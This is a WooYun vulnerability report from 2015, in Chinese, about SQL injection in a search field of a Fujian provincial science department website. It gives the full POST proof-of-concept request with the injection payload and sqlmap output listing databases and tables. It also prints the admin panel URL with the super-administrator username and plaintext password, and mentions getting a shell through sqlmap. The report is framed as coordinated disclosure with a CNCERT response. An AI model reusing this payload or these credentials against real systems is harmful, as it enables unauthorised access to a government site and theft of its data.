漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0112231
漏洞标题：福建省科技厅某站sql注入
相关厂商：福建省科技厅
漏洞作者： wclqust
提交时间：2015-05-20 17:30
修复时间：2015-07-09 11:00
公开时间：2015-07-09 11:00
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-05-20： 细节已通知厂商并且等待厂商处理中
2015-05-25： 厂商已经确认，细节仅向厂商公开
2015-06-04： 细节向核心白帽子及相关领域专家公开
2015-06-14： 细节向普通白帽子公开
2015-06-24： 细节向实习白帽子公开
2015-07-09： 细节向公众公开
简要描述：
福建省科技厅 福建省星火网 存在sql注入 可脱裤 可进后台(超级管理员) sa用户 可getshell
详细说明：
1.注入链接及参数 注入点是“txtKeyWorld”
poc:
http://www.fjsp.gov.cn:80/web/Xmxx.aspx (POST)
__EVENTTARGET=&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=/wEPDwUKLTU5MjYxMTk4Ng9kFgJmD2QWAgIDD2QWCAIPDxAPFgYeDURhdGFUZXh0RmllbGQFCHR5cGVuYW1lHg5EYXRhVmFsdWVGaWVsZAUGdHlwZUlEHgtfIURhdGFCb3VuZGdkEBUGEi0tLeaJgOacieagj%2Bebri0tLQzmlrDpl7vnrqHnkIYM5pif54Gr5Yqo5oCBDOaUv%2BetluazleinhAzmmJ/ngavnp5HmioAM6Ie05a%2BM5L%2Bh5oGvFQYBMAExATIBMwE0ATUUKwMGZ2dnZ2dnFgFmZAIRDxBkEBUBEi0tLeaJgOacieWGheWuuS0tLRUBATAUKwMBZ2RkAhcPZBYCAgsPPCsADQEADxYEHwJnHgtfIUl0ZW1Db3VudAJEZBYCZg9kFihmDw8WAh4HVmlzaWJsZWhkZAIBD2QWAmYPZBYCZg8VAgI3NDbnpo/lu7rnnIHlhpzmnZHnp5HmioDkv6Hmga/otYTmupDlhbHkuqvkuI7mnI3liqHlubPlj7BkAgIPZBYCZg9kFgJmDxUCAjczOemyn%2BmxvOS6uuW3pee5geiCsuWSjOmxvOexvemFseW8gOWPkeaKgOacr%2BeglOeptuS4juekuuiMg2QCAw9kFgJmD2QWAmYPFQICNzIw6YCf55Sf5p6X5Zyw5Lu/6YeO55Sf56eN5qSN54G16Iqd56S66IyD5LiO5o6o5bm/ZAIED2QWAmYPZBYCZg8VAgI3MTzmlL/lkozljr/igJzmlL/lkoznmb3ojLbigJ3kuqfkuJrljJblhbPplK7mioDmnK/noJTnqbbnpLrojINkAgUPZBYCZg9kFgJmDxUCAjcwJOaYjua6quWkqeeEtuiNr%2BeJqeS6p%2BS4muenkeaKgOekuuiMg2QCBg9kFgJmD2QWAmYPFQICNjk86aOf55So6I%2BM5paw5ZOB56eN6YCJ6IKy5Y%2BK5a6J5YWo55Sf5Lqn5oqA5pyv56CU56m25LiO56S66IyDZAIHD2QWAmYPZBYCZg8VAgI2ODzljZflronluILnsq7msrnpo5/lk4Hmt7HliqDlt6XmioDmnK/lvIDlj5Hlj4rkuqfkuJrljJbnpLrojINkAggPZBYCZg9kFgJmDxUCAjY3LeW7tuW5s%2BWMuuaon%2BWxnuWkqeeEtummmeaWmeS6p%2BS4muenkeaKgOekuuiMg2QCCQ9kFgJmD2QWAmYPFQICNjY26Zye5rWm5Y6/5aSn5by55raC6bG85Lq65bel6IKy6IuX5Y%2BK5YW75q6W5oqA5pyv56S66IyDZAIKD2QWAmYPZBYCZg8VAgI2NTDov57ln47nuqLlv4PlnLDnk5zkuqfkuJrpk77np5HmioDliJvmlrDkuI7npLrojINkAgsPZBYCZg9kFgJmDxUCAjY0OeW7uueTr%2BW4guerueexu%2Bi1hOa6kOe7vOWQiOWIqeeUqOWFs%2BmUruaKgOacr%2BW8gOWPkeekuuiMg2QCDA9kFgJmD2QWAmYPFQICNjM/5Z%2BO5Y6i5Yy66I%2By5b6L5a6%2B6Juk5LuU6Imv56eN6YCJ6IKy5ZKM5YGl5bq35YW75q6W5oqA5pyv56S66IyDZAIND2QWAmYPZBYCZg8VAgI2MkXojZTln47ljLrml6DlhazlrrPolKzoj5zvvIjpo5/nlKjoj4zvvInns7vliJfkuqflk4HliqDlt6XmioDmnK/npLrojINkAg4PZBYCZg9kFgJmDxUCAjYxLeaymeWOv%2BWGnOWJr%2BS6p%2BWTgeeyvua3seWKoOW3peS6p%2BS4muWMluekuuiMg2QCDw9kFgJmD2QWAmYPFQICNjAq6JWJ5Z%2BO5Yy65LyY5Yq/55Wc54mn5Lia5Lqn5Lia6ZuG576k5bu66K6%2BZAIQD2QWAmYPZBYCZg8VAgI1OTcg5pS/5ZKM55m96Iy2546w5Luj55Sf5Lqn5oqA5pyv6ZuG5oiQ5LiO5Lqn5Lia5YyW56S66IyDZAIRD2QWAmYPZBYCZg8VAgI1ODDov57msZ/ljr/lpKflvLnmtoLpsbzop4TojIPljJblhbvmrpbmioDmnK/npLrojINkAhIPDxYCHwRoZGQCEw9kFgJmD2QWCmYPDxYCHgRUZXh0BQE0ZGQCAQ8PFgIfBQUBMWRkAgIPDxYCHwUFAjE3ZGQCAw8PFgIfBGhkZAIEDw8WAh8EaGRkAhkPDxYCHwUFBzQyNzI1MjVkZBgBBSNjdGwwMCRDb250ZW50UGxhY2VIb2xkZXIxJEdyaWRWaWV3MQ88KwAKAQgCBGS/h%2B0ivNLswCELWhLGE%2BtIO6MbXA%3D%3D&__VIEWSTATEGENERATOR=2B05F96C&__EVENTVALIDATION=/wEWGwKP1LDgAgL32/PyCwLVzJXYCgKg7emrBgLdp/a7DQLaxcs/Asqq4dEMAtWq4dEMAtSq4dEMAteq4dEMAtaq4dEMAtGq4dEMArKlwcsBAs3mwYcOAuXbjIoMAqyXxrIJAq2XxrIJAq6XxrIJAq%2BXxrIJAuX%2BgewOAqzo7/sOAqGVwa0EAqa4yuADAozE/IANAqCf2ZQEAvX4hv0IAvjjhcEPfjGyXTYznABIJjUSGdrUV9TvjxI%3D&ctl00$txtUserName=&ctl00$txtPwd=&ctl00$DrLangMu=0&ctl00$DrMeiRong=0&ctl00$txtSelect=&ctl00$ContentPlaceHolder1$DrType=1&ctl00$ContentPlaceHolder1$txtKeyWorld=aa' or '1%25'%3D'1&ctl00$ContentPlaceHolder1$txtBegin=&ctl00$ContentPlaceHolder1$txtEnd=&ctl00$ContentPlaceHolder1$btSelect=%E6%9F%A5%E6%89%BE&ctl00$ContentPlaceHolder1$GridView1$ctl20$txtNewPageIndex=1
2.拖库
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [8]:
[*] city
[*] fjspDB
[*] LwDataBase
[*] master
[*] model
[*] msdb
[*] tempdb
[*] TwfDataBase
3.获取当前数据库（fjspDB）表
Database: fjspDB
[20 tables]
+-------------------------------+
| NewsList |
| ViewUserRole |
| fjip_Item |
| fjsp_NewComment |
| fjsp_News |
| fjsp_NewsType |
| fjsp_RolePermissions |
| fjsp_User |
| fjsp_UserRole |
| sysdiagrams |
| t_xinghuo_authenticate |
| t_xinghuo_bearproj |
| t_xinghuo_companyinfo |
| t_xinghuo_companyinfo_honor |
| t_xinghuo_projachievementinfo |
| t_xinghuo_projinfo |
| t_xinghuo_richtopic |
| t_xinghuo_stpeople |
| t_xinghuo_stproj |
| t_xinghuo_winningachi
4.获取 fjsp_User 中超级管理员用户 进入后台
地址http://www.fjsp.gov.cn/admin
用户名密码 superadmin/1q2w3e\
5.利用 sqlmap 交互shell 未做深入
漏洞证明：
修复方案：
防注入
版权声明：转载请注明来源 wclqust@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：11
确认时间：2015-05-25 10:59
厂商回复：
CNVD确认并复现所述情况,已经转由CNCERT下发给福建分中心,由其后续协调网站管理单位处置.
最新状态：
暂无